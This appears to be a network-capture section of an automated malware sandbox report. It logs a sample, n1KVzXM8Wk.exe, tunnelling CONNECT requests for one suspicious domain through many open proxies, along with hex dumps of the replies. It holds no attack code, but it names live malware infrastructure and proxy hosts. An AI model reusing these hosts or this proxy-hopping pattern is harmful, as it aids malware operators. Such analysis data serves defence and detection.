Feb 23, 2024 09:45:20.860347986 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
515	192.168.2.4	50784	91.189.177.189	3128	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.866518021 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.379933119 CET	1286	IN	HTTP/1.1 403 Forbidden Server: squid/5.7 Mime-Version: 1.0 Date: Fri, 23 Feb 2024 08:45:22 GMT Content-Type: text/html;charset=utf-8 Content-Length: 3532 X-Squid-Error: ERR_ACCESS_DENIED 0 Vary: Accept-Language Content-Language: en X-Cache: MISS from lb1 X-Cache-Lookup: NONE from lb1:3128 Via: 1.1 lb1 (squid/5.7) Connection: close Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd"><html><head><meta type="copyright" content="Copyright (C) 1996-2020 The Squid Software Foundation and contributors"><meta http-equiv="Content-Type" content="text/html; charset=utf-8"><title>ERROR: The requested URL could not be retrieved</title><style type="text/css">... /* * Copyright (C) 1996-2022 The Squid Software Foundation and contributors * * Squid software is distributed under GPLv2+ license and includes * contributions from numerous individuals and organizations. * Please see the COPYING and CONTRIBUTORS files for details. // Stylesheet for Squid Error pages Adapted from design by Free CSS Templates http://www.freecsstemplates.org Released for free under a Creative Commons Attribution 2.5 License// Page basics / {font-family: verdana, sans-serif;}html body {margin: 0;padding: 0;background

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
516	192.168.2.4	51574	8.213.129.15	9999	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.866942883 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.158749104 CET	39	IN	HTTP/1.1 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
517	192.168.2.4	51624	95.84.166.138	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.877811909 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
518	192.168.2.4	51368	111.53.178.249	7302	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.881690979 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
519	192.168.2.4	51627	79.143.187.58	55215	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.898710966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.474992990 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.178637981 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:23.680345058 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:26.365974903 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:29.178401947 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:31.866012096 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
520	192.168.2.4	51619	190.128.228.182	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.916210890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.169586897 CET	1286	IN	HTTP/1.1 200 OK Date: Fri, 23 Feb 2024 08:45:21 GMT Server: Apache/2.4.56 (Ubuntu) Set-Cookie: PHPSESSID=cu42n6lqgesgaerlirj38c8pkn; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Vary: Accept-Encoding Content-Length: 5101 Content-Type: text/html; charset=utf-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 69 6d 67 2f 66 75 74 75 72 61 2e 70 6e 67 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 46 55 54 55 52 41 31 30 30 3c 2f 74 69 74 6c 65 3e 0d 0a 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 20 46 6f 6e 74 66 61 63 65 73 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 66 6f 6e 74 2d 66 61 63 65 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 66 6f 6e 74 2d 61 77 65 73 6f 6d 65 2d 35 2f 63 73 73 2f 66 6f 6e 74 61 77 65 73 6f 6d 65 2d 61 6c 6c 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 21 2d 2d 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 6d 64 69 2d 66 6f 6e 74 2f 63 73 73 2f 6d 61 74 65 72 69 61 6c 2d 64 65 73 69 67 6e 2d 69 63 6f 6e 69 63 2d 66 6f 6e 74 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d 20 42 6f 6f 74 73 74 72 61 70 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 73 74 61 74 69 63 2f 6c 69 62 2f 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6f 6f 74 73 74 72 61 70 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 0d 0a 3c 21 2d 2d 20 63 6f 64 69 67 6f 73 20 43 53 53 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 61 6e 69 6d 73 69 74 69 6f 6e 2f 61 6e 69 6d 73 69 74 69 6f 6e 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 6f 64 69 67 6f 73 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2f 70 65 72 66 65 63 74 2d 73 63 72 6f 6c 6c 62 61 72 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 3e 2d 2d 3e 0d 0a 0d 0a 3c 21 2d 2d Data Ascii: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <meta http-equiv="X-UA-Compatible" content="ie=edge"> <link rel="icon" href="static/src/img/futura.png"> <title>FUTURA100</title><link href="css/style.css" rel="stylesheet" media="all">... Fontfaces CSS--><link href="css/font-face.css" rel="stylesheet" media="all"><link href="codigos/font-awesome-5/css/fontawesome-all.min.css" rel="stylesheet" media="all">...<link href="codigos/mdi-font/css/material-design-iconic-font.min.css" rel="stylesheet" media="all">-->... Bootstrap CSS--><link href="static/lib/css/bootstrap/bootstrap.css" rel="stylesheet" media="all">... codigos CSS<link href="codigos/animsition/animsition.min.css" rel="stylesheet" media="all"><link href="codigos/perfect-scrollbar/perfect-scrollbar.css" rel="stylesheet" media="all">-->...
Feb 23, 2024 09:45:21.169673920 CET	1286	IN	Data Raw: 20 4d 61 69 6e 20 43 53 53 2d 2d 3e 0d 0a 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 63 73 73 2f 62 6f 6f 74 73 74 72 61 70 2d 74 6f 75 72 2e 6d 69 6e 2e 63 73 73 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 6d 65 64 69 61 3d 22 61 6c 6c 22 Data Ascii: Main CSS--><link href="css/bootstrap-tour.min.css" rel="stylesheet" media="all"><link href="css/bootstrap-tour-standalone.css" rel="stylesheet" media="all"><link href="css/theme.css" rel="stylesheet" media="all"><link rel="stylesh
Feb 23, 2024 09:45:21.169728041 CET	1286	IN	Data Raw: 74 72 61 70 2d 74 6f 75 72 2d 30 2e 31 32 2e 30 2f 72 65 74 69 6e 61 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0d 0a 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 63 64 6e 6a 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 Data Ascii: trap-tour-0.12.0/retina.min.js"></script><script src="https://cdnjs.cloudflare.com/ajax/libs/xlsx/0.18.5/xlsx.full.min.js" integrity="sha512-r22gChDnGvBylk90+2e/ycr3RVrDi8DIOkIGNhJlKfuyQM4tIRAI062MaV8sfjQKYVGjOBaZBOA87z+IhZE9DA==" crossorigi
Feb 23, 2024 09:45:21.169914961 CET	1286	IN	Data Raw: 69 c3 b3 6e 3c 2f 62 75 74 74 6f 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e Data Ascii: in</button> </div> </div> </div> </div> <div class="p-3 d-flex justify-content-center mt-5" style="background-color: rgba(0, 0, 0, -0.9);width: 400px; margin-left:auto;margin-r
Feb 23, 2024 09:45:21.169929981 CET	298	IN	Data Raw: 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 20 73 72 63 3d 22 73 74 61 74 69 63 2f 73 72 63 2f 6a 73 2f 6c 6f 67 69 Data Ascii: <script src="static/src/js/main.js"></script> <script src="static/src/js/login.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootstrap-tour.min.js"></script> <script src="static/lib/js/bootstrap-tour-0.12.0/bootst
Feb 23, 2024 09:45:21.170737028 CET	202	OUT	Data Raw: 16 03 03 00 c5 01 00 00 c1 03 03 65 d8 5b 20 30 7f 2d 54 8e 34 0c 23 4d e9 28 a4 ce 69 58 15 58 9c 91 3f dd 66 82 e4 16 d0 29 b5 00 00 2a c0 2c c0 2b c0 30 c0 2f 00 9f 00 9e c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c Data Ascii: e[ 0-T4#M(iXX?f)*,+0/$#('=<5/n-+(heygirlisheeverythingyouwantedinaman.com#
Feb 23, 2024 09:45:21.423989058 CET	494	IN	HTTP/1.1 400 Bad Request Date: Fri, 23 Feb 2024 08:45:21 GMT Server: Apache/2.4.56 (Ubuntu) Content-Length: 312 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 61 67 72 2e 66 75 74 75 72 61 31 30 30 2e 63 6f 6d 2e 70 79 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Ubuntu) Server at agr.futura100.com.py Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
521	192.168.2.4	51557	202.162.219.12	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.916727066 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
522	192.168.2.4	51549	45.133.168.146	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.924918890 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
523	192.168.2.4	50987	117.160.250.163	8081	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.933923960 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:22.443689108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.022346973 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:25.747494936 CET	221	IN	HTTP/1.1 403 Access Denied Date: Fri, 23 Feb 2024 08:45:25 GMT Connection: close Cache-Control: no-store Content-Type: text/html Content-Language: en Content-Length: 43 Data Raw: 59 6f 75 20 61 72 65 20 6e 6f 74 20 61 6c 6c 6f 77 65 64 20 74 6f 20 61 63 63 65 73 73 20 74 68 65 20 64 6f 63 75 6d 65 6e 74 2e Data Ascii: You are not allowed to access the document.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
524	192.168.2.4	51561	182.253.109.244	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.937835932 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.508876085 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
525	192.168.2.4	50823	104.21.80.83	80	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.957523108 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.045177937 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 08:45:21 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
526	192.168.2.4	51658	200.43.231.8	4153	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.958110094 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
527	192.168.2.4	51706	23.19.244.109	1080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.961680889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
528	192.168.2.4	51680	174.77.111.197	4145	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.962344885 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
529	192.168.2.4	51642	114.156.77.107	8080	6812	C:\Users\user\Desktop\n1KVzXM8Wk.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 09:45:20.967587948 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 09:45:21.339535952 CET	1286	IN	HTTP/1.1 403 Forbidden Connection: close Content-Type: text/html Cache-Control: no-cache X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Content-Length: 4897 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 38 3b 20 49 45 3d 45 44 47 45 22 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 66 6f 6e 74 73 2e 67 6f 6f 67 6c 65 61 70 69 73 2e 63 6f 6d 2f 63 73 73 3f 66 61 6d 69 6c 79 3d 52 6f 62 6f 74 6f 26 64 69 73 70 6c 61 79 3d 73 77 61 70 22 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 52 6f 62 6f 74 6f 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 36 61 36 61 36 61 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 66 6c 65 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 61 6c 69 67 6e 2d 69 74 65 6d 73 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6a 75 73 74 69 66 79 2d 63 6f 6e 74 65 6e 74 3a 20 63 65 6e 74 65 72 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 6e 70 75 74 5b 74 79 70 65 3d 64 61 74 65 5d 2c 20 69 6e 70 75 74 5b 74 79 70 65 3d 65 6d 61 